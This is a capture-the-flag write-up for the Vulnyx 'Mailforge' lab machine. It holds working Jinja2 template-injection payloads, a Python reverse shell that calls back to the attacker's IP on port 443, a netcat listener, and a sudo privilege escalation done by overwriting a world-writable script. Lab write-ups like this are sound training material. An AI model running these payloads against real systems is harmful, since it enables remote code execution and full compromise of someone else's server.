Mailforge - Vulnyx CTF Writeup
Get Notion free

Mailforge - Vulnyx CTF Writeup

Machine Information

Name: Mailforge
Platform: Vulnyx
Difficulty: Easy
IP Address: 10.216.235.76
Operating System: Linux (Alpine-based)

Reconnaissance

Nmap Scan

bash
nmap -sC -sV -p- 10.216.235.76 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.2 (protocol 2.0) 80/tcp open http nginx |_http-title: Did not follow redirect to http://mailforge.nyx/ 5000/tcp open http Werkzeug httpd 3.1.4 (Python 3.12.12) |_http-title: MailForge - Email Preview Service
Key Findings:
SSH service on port 22
Nginx web server on port 80 (redirects to mailforge.nyx)
Werkzeug/Flask application on port 5000 - Email Preview Service
Python 3.12.12 running the web application

Host Configuration

Added to
/etc/hosts
:
bash
10.216.235.76 mailforge.nyx

Initial Access - Server-Side Template Injection (SSTI)

Vulnerability Discovery

The application at
http://mailforge.nyx:5000
is an Email Preview Service that allows users to upload
.eml
files and preview them.
Application Features:
Upload endpoint:
/upload
(POST only)
Preview endpoint:
/preview/<filename>
Uses Jinja2 templating engine (Flask/Werkzeug)

Testing for SSTI

Initial Test Payload:
bash
cat > payload2.eml << 'EOF' From: {{7*7}} To: test@test.com Subject: {{config.__class__.__init__.__globals__['os'].popen('id').read()}} Test body EOF
Upload and Preview:
bash curl -X POST http://mailforge.nyx:5000/upload -F "file=@payload2.eml" curl http://mailforge.nyx:5000/preview/payload2.eml` **Response:** html `<div><strong>Subject:</strong> uid=1000(mailforge) gid=1000(mailforge) groups=1000(mailforge)</div>`
SSTI Confirmed! The
id
command executed successfully.

Exploitation - Getting Reverse Shell

Payload Creation:
cat > payload3.eml << 'EOF' From: test@test.com To: test@test.com Subject: {{config.__class__.__init__.__globals__['os'].popen('python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'10.216.235.190\',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\'/bin/bash\',\'-i\'])"').read()}} Test body EOF
Setup Listener:
nc -lvnp 443
Trigger Exploit:
curl -X POST http://mailforge.nyx:5000/upload -F "file=@payload3.eml" curl http://mailforge.nyx:5000/preview/payload3.eml`
Shell Received!

User Flag

bash
cat /home/mailforge/user.txt
User Flag:

Privilege Escalation

Enumeration

Check sudo privileges:
sudo -l User mailforge may run the following commands on mailforge: (root) NOPASSWD: /usr/local/bin/cleaner.sh
Analysis:
Can run
/usr/local/bin/cleaner.sh
as root without password
Need to check if we can modify this script
Check Script Permissions:
bash ls -la /usr/local/bin/cleaner.sh #Output -rwxrwxrwx 1 root root 20 Dec 15 17:37 cleaner.sh`
World-writable! We can modify this script to execute commands as root.

Exploitation

Original Script Content:
#!/bin/sh rm -rf /opt/mailforge/tmp/*`
Modify Script for Root Shell:
echo '#!/bin/bash' > /usr/local/bin/cleaner.sh echo 'bash -p' >> /usr/local/bin/cleaner.sh
Verify Modification:
cat /usr/local/bin/cleaner.sh
Output:
#!/bin/bash bash -p
Execute as Root:
sudo /usr/local/bin/cleaner.sh
Check Privilege:
whoami # Output: root
Root Access Achieved!

Root Flag

cd /root cat root.txt Root Flag:
Step
Phase
Description
1
Reconnaissance
Performed network scanning using Nmap to identify open ports and services
2
Service Discovery
Discovered a Flask Email Preview Service running on port 5000
3
Vulnerability Testing
Tested the application for SSTI (Server-Side Template Injection) in Jinja2
4
Exploitation
Exploited SSTI to execute a Python reverse shell
5
Initial Access
Gained a shell as the mailforge user
6
Privilege Enumeration
Enumerated sudo permissions for the compromised user
7
Misconfiguration Found
Identified a world-writable script (
cleaner.sh
) executable with sudo
8
Privilege Escalation
Modified
cleaner.sh
and executed it via sudo
9
Root Compromise
Achieved root access

Key Vulnerabilities

1. Server-Side Template Injection (SSTI)

Severity: Critical
Location: Email preview functionality at
/preview/<filename>
Impact: Remote Code Execution as
mailforge
user
CVE: N/A (Application-specific vulnerability)
Technical Details:
Application uses Jinja2 template engine without proper input sanitization
User-controlled input (email headers) is directly rendered in templates
Allows arbitrary Python code execution through template expressions
Exploitation:
python
{{config.__class__.__init__.__globals__['os'].popen('command').read()}}

2. Insecure Sudo Configuration

Severity: High
Location:
/usr/local/bin/cleaner.sh
Impact: Privilege escalation to root
Misconfiguration: World-writable script with NOPASSWD sudo access
Technical Details:
Script has permissions:
rwxrwxrwx
(777)
Any user can modify the script content
Script can be executed as root without password via sudo

Tools Used

Nmap - Port scanning and service enumeration
cURL - HTTP request manipulation
Netcat - Reverse shell listener
Python - Reverse shell payload
Bash - Privilege escalation
Author:
shahzodislomov
Date: December 15, 2025
Platform: Vulnyx